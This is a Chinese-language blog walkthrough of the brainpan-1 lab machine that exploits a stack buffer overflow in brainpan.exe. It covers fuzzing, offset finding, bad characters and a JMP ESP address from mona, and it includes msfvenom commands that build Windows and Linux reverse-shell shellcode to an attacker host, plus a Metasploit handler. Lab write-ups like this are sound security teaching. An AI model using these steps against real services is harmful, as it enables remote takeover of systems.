写点什么

【网络安全】brainpan-windows 缓冲区溢出详解

  • 2022 年 3 月 14 日
  • 本文字数:2981 字

    阅读完需:约 10 分钟

简介

渗透测试注意


本文仅用于技术讨论与研究,对于所有笔记中复现的这些终端或者服务器,都是自行搭建的环境进行渗透的。我将使用 Kali Linux 作为此次学习的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,本站及作者概不负责。

一、前言

缓冲区溢出(buffer overflow),是针对程序设计缺陷,向程序输入缓冲区写入使之溢出的内容(通常是超过缓冲区能保存的最大数据量的数据),从而破坏程序运行、趁著中断之际并获取程序乃至系统的控制权。


项目十七:brainpan-1,专门考验缓冲区溢出知识,该项目仅仅开放了 10000 端口作为 web 端,经过简单的目录爆破就能发现存在 brainpan.exe 文件,该项目是乌班图环境并且安装了 win 的模块运行着 exe 文件,该文件启动了 9999 端口支撑服务,该环境就和 AWD 中的 PWN 题目一样,直播教学会有多种方法详细解释如何理解缓冲区溢出,如何发现缓冲区溢出,遇到缓冲区溢出如何利用,栈是什么等等问题详解。


接下来我分享其中方法一,欢迎大佬们指点。


测试是否存在缓冲区溢出:


python brainfuzzer.py 192.168.4.96 9999
复制代码



【一>所有资源获取<一】1、网络安全学习路线 2、电子书籍(白帽子)3、安全大厂内部视频 4、100 份 src 文档 5、常见安全面试题 6、ctf 大赛经典题目解析 7、全套工具包 8、应急响应笔记


通过对程序发送 1~1500 位不等字符进行验证,提示程序崩溃,存在缓冲区溢出!

二、windows 缓冲区溢出

1、windows 10 打开 Immunity Debugger

Immunity Debugger-漏洞分析专用调试器,没有的百度到处是下载地址!


Immunity Debugger 安装参考:


https://blog.csdn.net/clark3256453/article/details/121422527
复制代码


开始利用操作:然后点击:File-C:/....程序



运行出数据后的界面:



该界面是最初始的程序开启界面,需要点击右箭头图标才可运行程序:




开启完程序后,EAX 值会清零,这时候本地程序会正常运行,并开启 9999 端口!

2、查询偏移量

1)利用 pattern_create.rb 生成 1000 位随机数值



/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1000
复制代码


2)修改脚本 brainpan1



3)发送 1000 位随机去覆盖程序



python brainpan1.py 10.211.55.44 9999
复制代码


在 kali 执行对 44 的 windows9999 服务进行冲击。



可看到 ESP 已经被覆盖,得出 EIP 的值:35724134


4)EIP 查看偏移量



/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 35724134[*] Exact match at offset 524
复制代码


偏移量 524!


5)解析下如何得到的


首先要知道内存地址和平常书写地址是相反的,内存会把内存低地址放在高位,内存高地址放在低位,所以排列顺序是:


3572413434 41 72 35
复制代码


对比 ASCII 表:



34 41 72 354  A  r  54Ar5
复制代码


对照 ASCII 表信息是:4Ar#



所以对照的就是 pattern_create.rb 生成的 1000 字符中 524 位的地方存在溢出,pattern_offset.rb 会自动计算在 1000 个字符中 4Ar5 位置在哪儿!

3、查看 shellcode 空间大小

思路:将 EIP 修改为 shellcode 代码的内存地址,将 shellcode 写入到该地址空间,程序读取 EIP 寄存器数值,将跳转到 shellcode 代码段并执行,接下来将寻找可存放 shellcode 的内存空间是多少!


[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Bn73RK2F-1647250101863)(https://upload-images.jianshu.io/upload_images/26598771-fca1afbbb1f0031a.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)]


这里将放入 472 个字节 C 去测试!



python brainpan2.py 10.211.55.44 9999
复制代码



EBP 栈底指针已经被 524 个 A 覆盖,EIP 已经指出四个 B,ESP 已经覆盖了 472 个 C 字节。


在 ESP 位置右键选择:Follow in Dump



在左下视图右键选择:Hex-Hex/ASCII(16 bytes)



选择十六个字节一行显示去观察!



可看到起始位:005ff910,结束位:005FFAE0



1D0 是十六进制,转换十进制:



最少的 shellcode 需要 300 字节,现在寄存器的大小是 464,足以存放一个 shellcode!

4、查找坏字符

不同类型的程序、协议、漏洞,会将某些字符认为是坏字符,这些字符有固定用途:


1\. 返回地址、shellcode、buffer中都不能出现坏字符2\. null byte (0x00)空字符,用于终止字符串的拷贝操作3\. return (0x0D)回车操作,表示POP3 PASS命令输入完成
复制代码


思路:发送 0x00--0xff 256 个字符,查找所有坏字符例如:计算机都用 ASCII 编码不同的编码都表示不同的字符,一个字符一个字节 00000000---11111111=256 有 256 种可能的字符情况


接下来查看坏字符,重新运行程序:brainpan2




python brainpan3.py 10.211.55.44 9999
复制代码



或者是查看:右键选择 Follow in Dump





可看到选择 16 字节显示后,最右边都是 1~9~F 说明没有坏字符!



对比发现除了 00 外,其余都很正常!接下来要找到跳转到 ESP 的指令指针寄存器的值!

5、漏洞利用开发

重定向数据流:


1\. 用ESP的地址替换EIP的值2\. 但是ESP地址变化,硬编码不可行3\. SLMail线程应用程序,操作系统为每个线程分配一段地址范围,每个线程地址范围不确定
复制代码


变通思路:


1\. 在内存中寻找地址固定的系统模块2\. 在模块中寻找JMP ESP指令的地址跳转,再由该指令间接跳转到ESP,从而执行shellcode3\. mona.py脚本识别内存模块,搜索“return address”是JMP ESP指令的模块4\. 寻找无DEP、ALSR保护的内存地址5\. 内存地址不包含坏字符
复制代码



!mona modules
复制代码


SafeSEH、ASLR、NXCompat 都是内存保护机制所保护的模块!要选择 JMP ESP 一定要选择这三项都未 False 的,正好有一项符合!



现在进入该模块去查找有没有 jmp esp 的命令!brainpan.exe0BADF00D


查找 JMP ESP:利用 nasm_shell.rb 查看 jmp esp 的地址!


locate nasm_shell/usr/share/metasploit-framework/tools/exploit/nasm_shell.rbnasm > jmp esp00000000  FFE4              jmp esp
复制代码


可看到 jmp esp 地址:\xff\xe4


首先我们需要找到 EIP offset,也就是正好覆盖到 EIP 的偏移量以便我们精准的覆盖 EIP 寄存器。所以我们要知道哪 4 个 a 是放入到了 EIP 寄存器中,这就很复杂了,当然方法是有的,这里我们使用 Immunity Debugger 的插件 mona,这样我们就避免了平常复杂的寻找方法。


安装 mona:



将 mona.py 放在 Immunity Debugger 安装目录 PyCommands 下就行了!



!mona find -s "\xff\xe4" -m brainpan.exe
复制代码




获得 JMP ESP 地址:0x311712f3


shellcode 生成:



msfvenom -p windows/shell_reverse_tcp LPORT=443 LHOST=192.168.2.157 -e x86/shikata_ga_nai -b "\x00" -f py
复制代码


生成 shellcode 后进行脚本编写!


brainpan4:


将 shellcode 防止对端!


windows10 开启 brainpan.exe:



kali 运行脚本:



成功缓冲区溢出,获得反弹 shell:[图片上传中...(image.png-6a1393-1647249930375-0)]


这时候要反弹 linux 的 shellcode:brainpan5


msfvenom -p linux/x86/shell_reverse_tcp LPORT=443 LHOST=192.168.2.157 -e x86/shikata_ga_nai -b "\x00" -f py
复制代码


然后替换脚本 shellcode:


替换后进行执行:


msfconsoleuse exploit/multi/handlerset payload linux/x86/shell_reverse_tcpset lport 443set lhost 192.168.2.157exploit -j
复制代码


MSF 成功获得反弹 shell!

三、总结

今天学到 windows 缓冲区溢出中 windows 10 使用 Immunity Debugger 逆向分析工具,熟悉栈如何查找栈空间,如何查看坏字符,如何编写 EXP 利用等等操作,最后远程代码执行控制服务器等操作,学到了非常多的小技巧和干货,希望小伙伴能实际操作复现一遍!来巩固告知企业单位的漏洞情况,并尽快进行加固巩固安全!


希望大家提高安全意识,没有网络安全就没有国家安全!


今天基础牢固就到这里,虽然基础,但是必须牢记于心。

用户头像

我是一名网络安全渗透师 2021.06.18 加入

关注我,后续将会带来更多精选作品,需要资料+wx:mengmengji08

评论

发布
暂无评论
【网络安全】brainpan-windows缓冲区溢出详解_黑客_网络安全学海_InfoQ写作平台